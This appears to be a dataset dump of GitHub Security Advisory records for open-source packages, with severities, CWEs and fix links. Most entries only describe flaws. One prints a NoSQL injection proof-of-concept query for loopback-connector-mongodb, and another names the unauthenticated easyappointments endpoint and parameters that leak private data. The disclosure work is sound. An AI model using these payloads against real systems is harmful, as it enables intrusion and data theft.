GHSA | GHSA-f98m-q3hr-p5wq | Prototype Pollution in locutus | All versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function. | {'CVE-2020-7719'} | 2021-12-14T15:33:30Z | 2021-05-06T18:12:22Z | CRITICAL | 9.8 | {'CWE-20', 'CWE-915'} | {'https://github.com/locutusjs/locutus/commit/0eb16d8541838e80f3c2340a9ef93ded7c97290f', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7719', 'https://github.com/kvz/locutus/pull/418/', 'https://snyk.io/vuln/SNYK-JS-LOCUTUS-598675', 'https://github.com/advisories/GHSA-f98m-q3hr-p5wq'} | null | {'https://github.com/locutusjs/locutus/commit/0eb16d8541838e80f3c2340a9ef93ded7c97290f'} | {'https://github.com/locutusjs/locutus/commit/0eb16d8541838e80f3c2340a9ef93ded7c97290f'} |
GHSA | GHSA-9vg3-cf92-h2h7 | Insufficient Verification of Data Authenticity in python-keystoneclient | python-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache signing bypass | {'CVE-2013-2167'} | 2022-03-23T19:48:28Z | 2020-03-10T20:39:05Z | CRITICAL | 9.8 | {'CWE-345'} | {'https://security-tracker.debian.org/tracker/CVE-2013-2167', 'http://www.openwall.com/lists/oss-security/2013/06/19/5', 'https://nvd.nist.gov/vuln/detail/CVE-2013-2167', 'https://github.com/advisories/GHSA-9vg3-cf92-h2h7', 'http://lists.fedoraproject.org/pipermail/package-announce/2013-August/113944.html', 'https://bugs.gentoo.org/show_bug.cgi?id=CVE-2013-2167', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/85492', 'http://www.securityfocus.com/bid/60680', 'https://github.com/openstack/python-keystoneclient/commits/0.3.0', 'https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e', 'http://rhn.redhat.com/errata/RHSA-2013-0992.html', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2167', 'https://access.redhat.com/security/cve/cve-2013-2167'} | null | {'https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e'} | {'https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e'} |
GHSA | GHSA-86vp-x3pr-79rx | Cross-site scripting in Apache airflow | The "origin" parameter passed to some of the endpoints like '/trigger' was vulnerable to XSS exploit. This issue affects Apache Airflow versions prior to 1.10.14. This is same as CVE-2020-13944 but the implemented fix in Airflow 1.10.13 did not fix the issue completely. | {'CVE-2020-17515'} | 2021-05-06T15:08:53Z | 2021-04-20T16:40:14Z | MODERATE | 6.1 | {'CWE-79'} | {'https://github.com/apache/airflow/commit/409c249121bd9c8902fc2ba551b21873ab41f953', 'https://lists.apache.org/thread.html/r2892ef594dbbf54d0939b808626f52f7c2d1584f8aa1d81570847d2a@%3Cannounce.apache.org%3E', 'https://github.com/apache/airflow/releases/tag/2.0.2', 'https://lists.apache.org/thread.html/r4656959c8ed06c1f6202d89aa4e67b35ad7bdba5a666caff3fea888e%40%3Cusers.airflow.apache.org%3E', 'https://github.com/apache/airflow/pull/14738', 'http://www.openwall.com/lists/oss-security/2021/05/01/2', 'https://lists.apache.org/thread.html/ra8ce70088ba291f358e077cafdb14d174b7a1ce9a9d86d1b332d6367@%3Cusers.airflow.apache.org%3E', 'https://github.com/advisories/GHSA-86vp-x3pr-79rx', 'http://www.openwall.com/lists/oss-security/2020/12/11/2', 'https://lists.apache.org/thread.html/rc005f4de9d9b0ba943ceb8ff5a21a5c6ff8a9df52632476698d99432@%3Cannounce.apache.org%3E', 'https://lists.apache.org/thread.html/r2892ef594dbbf54d0939b808626f52f7c2d1584f8aa1d81570847d2a@%3Cdev.airflow.apache.org%3E', 'https://lists.apache.org/thread.html/r2892ef594dbbf54d0939b808626f52f7c2d1584f8aa1d81570847d2a@%3Cusers.airflow.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2020-17515', 'https://pypi.org/project/apache-airflow', 'https://lists.apache.org/thread.html/r4656959c8ed06c1f6202d89aa4e67b35ad7bdba5a666caff3fea888e@%3Cusers.airflow.apache.org%3E', 'https://github.com/apache/airflow/releases/tag/1.10.15'} | null | {'https://github.com/apache/airflow/commit/409c249121bd9c8902fc2ba551b21873ab41f953'} | {'https://github.com/apache/airflow/commit/409c249121bd9c8902fc2ba551b21873ab41f953'} |
GHSA | GHSA-4w97-57v2-3w44 | False-negative validation results in MINT transactions with invalid baton | ### Impact
Users could experience false-negative validation outcomes for [MINT](https://github.com/simpleledger/slp-specifications/blob/master/slp-token-type-1.md#mint---extended-minting-transaction) transaction operations. A poorly implemented SLP wallet could allow spending of the affected tokens which would result in the destruction of a user's minting baton.
### Patches
npm package [slp-validate](https://www.npmjs.com/package/slp-validate) has been patched and published as version 1.2.1.
### Workarounds
Upgrade to slp-validate 1.2.1.
### References
* slp-validate [commit](https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [slp-validate](https://github.com/simpleledger/slp-validate/issues) | {'CVE-2020-11072'} | 2021-01-08T20:17:37Z | 2020-05-12T00:45:24Z | CRITICAL | 8.6 | {'CWE-697'} | {'https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7', 'https://nvd.nist.gov/vuln/detail/CVE-2020-11072', 'https://github.com/simpleledger/slp-validate.js/security/advisories/GHSA-4w97-57v2-3w44', 'https://github.com/advisories/GHSA-4w97-57v2-3w44', 'https://github.com/simpleledger/slp-validate/security/advisories/GHSA-4w97-57v2-3w44'} | null | {'https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7'} | {'https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7'} |
GHSA | GHSA-xwgq-pcqx-hpmv | URL Redirection to Untrusted Site (Open Redirect) in Ktor | In Ktor through 1.2.6, the client resends data from the HTTP Authorization header to a redirect location. | {'CVE-2019-19703'} | 2021-08-19T16:56:46Z | 2020-02-12T18:45:50Z | MODERATE | 6.1 | {'CWE-601'} | {'https://github.com/advisories/GHSA-xwgq-pcqx-hpmv', 'https://github.com/ktorio/ktor/commit/0c108156f45423d09014b47be810188629cb878f', 'https://nvd.nist.gov/vuln/detail/CVE-2019-19703', 'https://github.com/ktorio/ktor/issues/1467'} | null | {'https://github.com/ktorio/ktor/commit/0c108156f45423d09014b47be810188629cb878f'} | {'https://github.com/ktorio/ktor/commit/0c108156f45423d09014b47be810188629cb878f'} |
GHSA | GHSA-gwrj-88fp-5m36 | Code injection in Narou | Narou (aka Narou.rb) before 3.8.0 allows Ruby Code Injection via the title name or author name of a novel. | {'CVE-2021-35514'} | 2021-07-02T18:36:01Z | 2021-07-02T18:36:01Z | HIGH | 8.5 | {'CWE-94'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-35514', 'https://github.com/whiteleaf7/narou/commit/d07720e855293182563b749431dfbf6c2d1cdb42', 'https://github.com/whiteleaf7/narou/blob/develop/ChangeLog.md#380-20210627', 'https://github.com/advisories/GHSA-gwrj-88fp-5m36', 'https://vuln.ryotak.me/advisories/51'} | null | {'https://github.com/whiteleaf7/narou/commit/d07720e855293182563b749431dfbf6c2d1cdb42'} | {'https://github.com/whiteleaf7/narou/commit/d07720e855293182563b749431dfbf6c2d1cdb42'} |
GHSA | GHSA-6m9g-jr8c-cqw3 | Depth counting error in guard() leading to multiple potential security issues in aioxmpp | ### Impact
Possible remote Denial of Service or Data Injection.
### Patches
Patches are available in https://github.com/horazont/aioxmpp/pull/268. They have been backported to the 0.10 release series and 0.10.3 is the first release to contain the fix.
### Workarounds
To make the bug exploitable, an error suppressing ``xso_error_handler`` is required. By not using ``xso_error_handlers`` or not using the suppression function, the vulnerability can be mitigated completely (to our knowledge).
### References
The pull request contains a detailed description: https://github.com/horazont/aioxmpp/pull/268
### For more information
If you have any questions or comments about this advisory:
* [Join our chat](xmpp:aioxmpp@conference.zombofant.net?join)
* Email the maintainer [Jonas Schäfer](mailto:jonas@wielicki.name) | {'CVE-2019-1000007'} | 2021-07-26T23:48:58Z | 2020-04-29T17:12:39Z | HIGH | 7.4 | {'CWE-237'} | {'https://github.com/horazont/aioxmpp/commit/29ff0838a40f58efe30a4bbcea95aa8dab7da475', 'https://github.com/horazont/aioxmpp/pull/268', 'https://github.com/advisories/GHSA-6m9g-jr8c-cqw3', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1000007', 'https://github.com/horazont/aioxmpp/commit/f151f920f439d97d4103fc11057ed6dc34fe98be', 'https://github.com/horazont/aioxmpp/security/advisories/GHSA-6m9g-jr8c-cqw3'} | null | {'https://github.com/horazont/aioxmpp/commit/29ff0838a40f58efe30a4bbcea95aa8dab7da475', 'https://github.com/horazont/aioxmpp/commit/f151f920f439d97d4103fc11057ed6dc34fe98be'} | {'https://github.com/horazont/aioxmpp/commit/29ff0838a40f58efe30a4bbcea95aa8dab7da475', 'https://github.com/horazont/aioxmpp/commit/f151f920f439d97d4103fc11057ed6dc34fe98be'} |
GHSA | GHSA-jc83-cpf9-q7c6 | False-negative validation results in MINT transactions with invalid baton | ### Impact
Users could experience false-negative validation outcomes for [MINT](https://github.com/simpleledger/slp-specifications/blob/master/slp-token-type-1.md#mint---extended-minting-transaction) transaction operations. A poorly implemented SLP wallet could allow spending of the affected tokens which would result in the destruction of a user's minting baton.
### Patches
npm package [slpjs](https://www.npmjs.com/package/slpjs) has been patched and published as version 0.27.2.
### Workarounds
Upgrade to slpjs 0.27.2.
### References
* slpjs [commit](https://github.com/simpleledger/slpjs/commit/3671be2ffb6d4cfa94c00c6dc8649d1ba1d75754)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [slp-validate](https://github.com/simpleledger/slp-validate/issues) or [slpjs](https://github.com/simpleledger/slpjs/issues) | {'CVE-2020-11071'} | 2021-01-08T20:17:32Z | 2020-05-12T00:39:03Z | CRITICAL | 8.6 | {'CWE-697'} | {'https://github.com/simpleledger/slpjs/security/advisories/GHSA-jc83-cpf9-q7c6', 'https://github.com/advisories/GHSA-jc83-cpf9-q7c6', 'https://github.com/simpleledger/slpjs/commit/3671be2ffb6d4cfa94c00c6dc8649d1ba1d75754', 'https://nvd.nist.gov/vuln/detail/CVE-2020-11071'} | null | {'https://github.com/simpleledger/slpjs/commit/3671be2ffb6d4cfa94c00c6dc8649d1ba1d75754'} | {'https://github.com/simpleledger/slpjs/commit/3671be2ffb6d4cfa94c00c6dc8649d1ba1d75754'} |
GHSA | GHSA-6xv6-jpvw-cx6q | Command injection in bestzip | The package bestzip before 2.1.7 are vulnerable to Command Injection via the options param. | {'CVE-2020-7730'} | 2021-07-29T22:26:00Z | 2021-05-06T18:27:36Z | CRITICAL | 9.8 | {'CWE-78'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-7730', 'https://snyk.io/vuln/SNYK-JS-BESTZIP-609371', 'https://github.com/nfriedly/node-bestzip/commit/45d4a901478c6a8f396c8b959dd6cf8fd3f955b6', 'https://github.com/advisories/GHSA-6xv6-jpvw-cx6q'} | null | {'https://github.com/nfriedly/node-bestzip/commit/45d4a901478c6a8f396c8b959dd6cf8fd3f955b6'} | {'https://github.com/nfriedly/node-bestzip/commit/45d4a901478c6a8f396c8b959dd6cf8fd3f955b6'} |
GHSA | GHSA-rcj2-vvjx-87pm | Missing Encryption of Sensitive Data in arrow-kt Arrow | arrow-kt Arrow before 0.9.0 resolved Gradle build artifacts (for compiling and building the published JARs) over HTTP instead of HTTPS. Any of these dependent artifacts could have been maliciously compromised by an MITM attack. | {'CVE-2019-11404'} | 2021-05-11T14:57:29Z | 2019-04-22T17:15:40Z | MODERATE | 5.9 | {'CWE-311'} | {'https://github.com/arrow-kt/ank/issues/35', 'https://github.com/arrow-kt/arrow/issues/1310', 'https://github.com/arrow-kt/arrow/releases/tag/0.9.0', 'https://github.com/arrow-kt/ank/pull/36', 'https://nvd.nist.gov/vuln/detail/CVE-2019-11404', 'https://github.com/arrow-kt/arrow/commit/74198dab522393487d5344f194dc21208ab71ae8', 'https://github.com/advisories/GHSA-rcj2-vvjx-87pm'} | null | {'https://github.com/arrow-kt/arrow/commit/74198dab522393487d5344f194dc21208ab71ae8'} | {'https://github.com/arrow-kt/arrow/commit/74198dab522393487d5344f194dc21208ab71ae8'} |
GHSA | GHSA-r6cm-wg48-rh2r | Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments | The software is a booking management system that has a public form to place bookings, and a private area for the calendar and management of services, users, settings, etc. There is a backend API that allows data manipulation, including listing the appointments for a specific time range. This happens on this endpoint: /index.php/backend_api/ajax_get_calendar_events Unfortunately, there is no authentication / permissions-check on that endpoint, the only required parameters in a POST request are "startDate", "endDate" and "csrfToken". Because the csrfToken can be obtained by any unauthenticated user just visiting the public form (and is valid for the backend as well), any attacker can query the backend API and obtain all sorts of private information about the appointment, in JSON format. | {'CVE-2022-0482'} | 2022-04-17T17:13:16Z | 2022-03-10T00:00:40Z | CRITICAL | 9.1 | {'CWE-863', 'CWE-359'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-0482', 'https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26', 'http://packetstormsecurity.com/files/166701/Easy-Appointments-Information-Disclosure.html', 'https://github.com/alextselegidis/easyappointments/releases/tag/1.4.3', 'https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/', 'https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466', 'https://github.com/advisories/GHSA-r6cm-wg48-rh2r'} | null | {'https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466'} | {'https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466'} |
GHSA | GHSA-92v9-xh2q-fq9f | Prototype Pollution in @cookiex/deep | The npm @cookiex/deep package before version 0.0.7 has a prototype pollution vulnerability. The global proto object can be polluted using the __proto__ object. | {'CVE-2021-23442'} | 2021-09-29T18:06:08Z | 2021-09-20T20:12:38Z | HIGH | 8.6 | {'CWE-1321', 'CWE-915'} | {'https://github.com/tony-tsx/cookiex-deep/issues/1', 'https://github.com/tony-tsx/cookiex-deep/commit/b5bea2b7f34a5fa9abb4446cbd038ecdbcd09c88', 'https://snyk.io/vuln/SNYK-JS-COOKIEXDEEP-1582793', 'https://github.com/advisories/GHSA-92v9-xh2q-fq9f', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23442'} | null | {'https://github.com/tony-tsx/cookiex-deep/commit/b5bea2b7f34a5fa9abb4446cbd038ecdbcd09c88'} | {'https://github.com/tony-tsx/cookiex-deep/commit/b5bea2b7f34a5fa9abb4446cbd038ecdbcd09c88'} |
GHSA | GHSA-m884-279h-32v2 | Exceptions displayed in non-debug configurations in Symfony | Description
-----------
When `ErrorHandler` renders an exception HTML page, it uses un-escaped properties from the related Exception class to render the stacktrace. The security issue comes from the fact that the stacktraces were also displayed in non-`debug` environments.
Resolution
----------
The `ErrorHandler` class now escapes all properties coming from the related Exception, and the stacktrace is not displayed anymore in non-`debug` environments.
The patches for this issue are available [here](https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad) and [here](https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db) for branch 4.4.
Credits
-------
I would like to thank Luka Sikic for reporting & Yonel Ceruto and Jérémy Derussé for fixing the issue. | {'CVE-2020-5274'} | 2022-04-19T19:02:57Z | 2020-03-30T20:09:31Z | MODERATE | 4.6 | {'CWE-209'} | {'https://github.com/advisories/GHSA-m884-279h-32v2', 'https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db', 'https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad', 'https://github.com/symfony/symfony/security/advisories/GHSA-m884-279h-32v2', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5274'} | null | {'https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad', 'https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db'} | {'https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad', 'https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db'} |
GHSA | GHSA-wrr7-33fx-rcvj | Deserialization of Untrusted Data in jackson-databind | **Withdrawn:** Duplicate of GHSA-cjjf-94ff-43w7 | {'CVE-2018-12022'} | 2020-06-16T20:28:16Z | 2020-06-15T18:44:56Z | HIGH | 0 | null | {'https://access.redhat.com/errata/RHSA-2019:1108', 'https://access.redhat.com/errata/RHSA-2019:3140', 'https://access.redhat.com/errata/RHSA-2019:2804', 'https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf', 'https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E', 'https://access.redhat.com/errata/RHBA-2019:0959', 'https://access.redhat.com/errata/RHSA-2019:1797', 'https://seclists.org/bugtraq/2019/May/68', 'https://access.redhat.com/errata/RHSA-2019:1140', 'https://lists.apache.org/thread.html/7fcf88aff0d1deaa5c3c7be8d58c05ad7ad5da94b59065d8e7c50c5d@%3Cissues.lucene.apache.org%3E', 'https://github.com/FasterXML/jackson-databind/issues/2052', 'https://access.redhat.com/errata/RHSA-2019:4037', 'https://bugzilla.redhat.com/show_bug.cgi?id=1671098', 'https://www.debian.org/security/2019/dsa-4452', 'https://security.netapp.com/advisory/ntap-20190530-0003/', 'https://access.redhat.com/errata/RHSA-2019:2858', 'https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html', 'https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E', 'https://access.redhat.com/errata/RHSA-2019:1822', 'https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html', 'https://access.redhat.com/errata/RHSA-2019:0782', 'https://access.redhat.com/errata/RHSA-2019:0877', 'https://access.redhat.com/errata/RHSA-2019:3149', 'https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E', 'https://access.redhat.com/errata/RHSA-2019:1106', 'https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062', 'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a', 'https://access.redhat.com/errata/RHSA-2019:1107', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZEDLDUYBSTDY4GWDBUXGJNS2RFYTFVRC/', 'https://access.redhat.com/errata/RHSA-2019:3002', 'https://access.redhat.com/errata/RHSA-2019:1782', 'https://www.oracle.com/security-alerts/cpuapr2020.html', 'https://access.redhat.com/errata/RHSA-2019:3892', 'https://access.redhat.com/errata/RHSA-2019:1823', 'https://nvd.nist.gov/vuln/detail/CVE-2018-12022', 'https://github.com/advisories/GHSA-wrr7-33fx-rcvj', 'http://www.securityfocus.com/bid/107585'} | null | {'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a'} | {'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a'} |
GHSA | GHSA-c6qr-h5vq-59jc | Untrusted users can run pending migrations in production in Rails | There is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed
an untrusted user to run any pending migrations on a Rails app running in
production.
This vulnerability has been assigned the CVE identifier CVE-2020-8185.
Versions Affected: 6.0.0 < rails < 6.0.3.2
Not affected: Applications with `config.action_dispatch.show_exceptions = false` (this is not a default setting in production)
Fixed Versions: rails >= 6.0.3.2
Impact
------
Using this issue, an attacker would be able to execute any migrations that
are pending for a Rails app running in production mode. It is important to
note that an attacker is limited to running migrations the application
developer has already defined in their application and ones that have not
already ran.
Workarounds
-----------
Until such time as the patch can be applied, application developers should
disable the ActionDispatch middleware in their production environment via
a line such as this one in their config/environment/production.rb:
`config.middleware.delete ActionDispatch::ActionableExceptions` | {'CVE-2020-8185'} | 2021-10-22T14:00:01Z | 2020-06-24T17:40:33Z | MODERATE | 6.5 | {'CWE-400'} | {'https://github.com/advisories/GHSA-c6qr-h5vq-59jc', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8185', 'https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2', 'https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/CVE-2020-8185.yml', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJ7NUWXAEVRQCROIIBV4C6WXO6IR3KSB/', 'https://hackerone.com/reports/899069'} | null | {'https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2'} | {'https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2'} |
GHSA | GHSA-f794-r6xc-hf3v | Improper Access Control in passport-oauth2 | The passport-oauth2 package before 1.6.1 for Node.js mishandles the error condition of failure to obtain an access token. This is exploitable in certain use cases where an OAuth identity provider uses an HTTP 200 status code for authentication-failure error reports, and an application grants authorization upon simply receiving the access token (i.e., does not try to use the token). NOTE: the passport-oauth2 vendor does not consider this a passport-oauth2 vulnerability. | {'CVE-2021-41580'} | 2021-10-06T13:23:09Z | 2021-09-29T17:18:32Z | MODERATE | 5.3 | {'CWE-287'} | {'https://github.com/advisories/GHSA-f794-r6xc-hf3v', 'https://medium.com/passportjs/no-access-token-no-service-7fb017c9e262', 'https://github.com/jaredhanson/passport-oauth2/compare/v1.6.0...v1.6.1', 'https://github.com/jaredhanson/passport-oauth2/commit/8e3bcdff145a2219033bd782fc517229fe3e05ea', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41580', 'https://github.com/jaredhanson/passport-oauth2/pull/144'} | null | {'https://github.com/jaredhanson/passport-oauth2/commit/8e3bcdff145a2219033bd782fc517229fe3e05ea'} | {'https://github.com/jaredhanson/passport-oauth2/commit/8e3bcdff145a2219033bd782fc517229fe3e05ea'} |
GHSA | GHSA-m734-r4g6-34f9 | NoSQL Injection in loopback-connector-mongodb | Versions of `loopback-connector-mongodb` before 3.6.0 are vulnerable to NoSQL injection.
MongoDB Connector for LoopBack fails to properly sanitize a filter passed to query the database by allowing the dangerous `$where` property to be passed to the MongoDB Driver. The Driver allows the special `$where` property in a filter to execute JavaScript (client can pass in a malicious script) on the database Driver. This is an [intended feature of MongoDB](https://docs.mongodb.com/manual/core/server-side-javascript/) unless disabled ([instructions here](https://docs.mongodb.com/manual/core/server-side-javascript/#disable-server-side-js)).
A proof of concept malicious query:
```
GET /POST filter={"where": {"$where": "function(){sleep(5000); return this.title.contains('Hello');}"}}
```
The above makes the database sleep for 5 seconds and then returns all “Posts” with the title containing the word `Hello`.
## Recommendation
Update to version 3.6.0 or later. | null | 2021-08-04T20:48:00Z | 2019-06-04T19:36:17Z | HIGH | 0 | {'CWE-89'} | {'https://github.com/strongloop/loopback-connector-mongodb/commit/ee24cd08b8ccc32711264831c71b1da628df357b', 'https://github.com/advisories/GHSA-m734-r4g6-34f9', 'https://github.com/strongloop/loopback-connector-mongodb/issues/403', 'https://www.npmjs.com/advisories/696', 'https://github.com/strongloop/loopback-connector-mongodb/pull/452', 'https://loopback.io/doc/en/lb3/Security-advisory-08-15-2018.html'} | null | {'https://github.com/strongloop/loopback-connector-mongodb/commit/ee24cd08b8ccc32711264831c71b1da628df357b'} | {'https://github.com/strongloop/loopback-connector-mongodb/commit/ee24cd08b8ccc32711264831c71b1da628df357b'} |
GHSA | GHSA-x5r2-hj5c-8jx6 | SSRF in adminer | ### Impact
Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.
### Patches
Patched by ccd2374b, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).
### Workarounds
* Use a single driver version (e.g. `adminer-mysql.php`).
* Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).
### References
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
### For more information
If you have any questions or comments about this advisory:
* Comment at ccd2374b. | {'CVE-2021-21311'} | 2022-04-19T19:02:47Z | 2021-02-11T20:42:59Z | HIGH | 7.2 | {'CWE-918'} | {'https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351', 'https://sourceforge.net/p/adminer/news/2021/02/adminer-479-released/', 'https://packagist.org/packages/vrana/adminer', 'https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf', 'https://lists.debian.org/debian-lts-announce/2021/03/msg00002.html', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21311', 'https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6', 'https://github.com/advisories/GHSA-x5r2-hj5c-8jx6'} | null | {'https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351'} | {'https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351'} |
GHSA | GHSA-533p-cp2g-99wp | snipe-it is vulnerable to Cross-Site Request Forgery (CSRF) | snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). | {'CVE-2021-3931'} | 2021-11-17T21:12:48Z | 2021-11-15T23:19:09Z | MODERATE | 4.3 | {'CWE-352'} | {'https://huntr.dev/bounties/03b21d69-3bf5-4b2f-a2cf-872dd677a68f', 'https://github.com/snipe/snipe-it/commit/0d811d067c8e064252c0143c39d6cd4c3133679e', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3931', 'https://github.com/advisories/GHSA-533p-cp2g-99wp'} | null | {'https://github.com/snipe/snipe-it/commit/0d811d067c8e064252c0143c39d6cd4c3133679e'} | {'https://github.com/snipe/snipe-it/commit/0d811d067c8e064252c0143c39d6cd4c3133679e'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.